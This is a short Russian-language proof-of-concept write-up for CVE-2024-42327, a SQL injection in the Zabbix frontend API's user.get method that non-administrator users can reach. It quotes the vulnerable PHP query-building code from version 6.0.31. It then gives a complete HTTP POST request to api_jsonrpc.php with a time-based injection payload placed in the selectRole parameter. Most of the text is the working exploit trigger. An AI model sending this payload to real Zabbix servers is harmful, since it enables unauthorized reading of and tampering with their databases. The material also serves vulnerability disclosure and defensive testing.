
Доказательство концепции эксплуатации для CVE-2024-42327 — уязвимости SQL-инъекции в API фронтенда Zabbix, позволяющей не-администраторам выполнять произвольные SQL-запросы через метод user.get.
Учетная запись пользователя без прав администратора на интерфейсе Zabbix с ролью по умолчанию "Пользователь" или с любой другой ролью, предоставляющей доступ к API, может использовать эту уязвимость. SQL-инъекция существует в классе CUser в функции addRelatedObjects; эта функция вызывается из функции CUser.get, которая доступна любому пользователю, имеющему доступ к API.
Данный скрипт предоставлен исключительно в образовательных целях!
Следующий код из версии 6.0.31 уязвим к SQL-инъекции:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Следующий вызов запускает уязвимость:
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}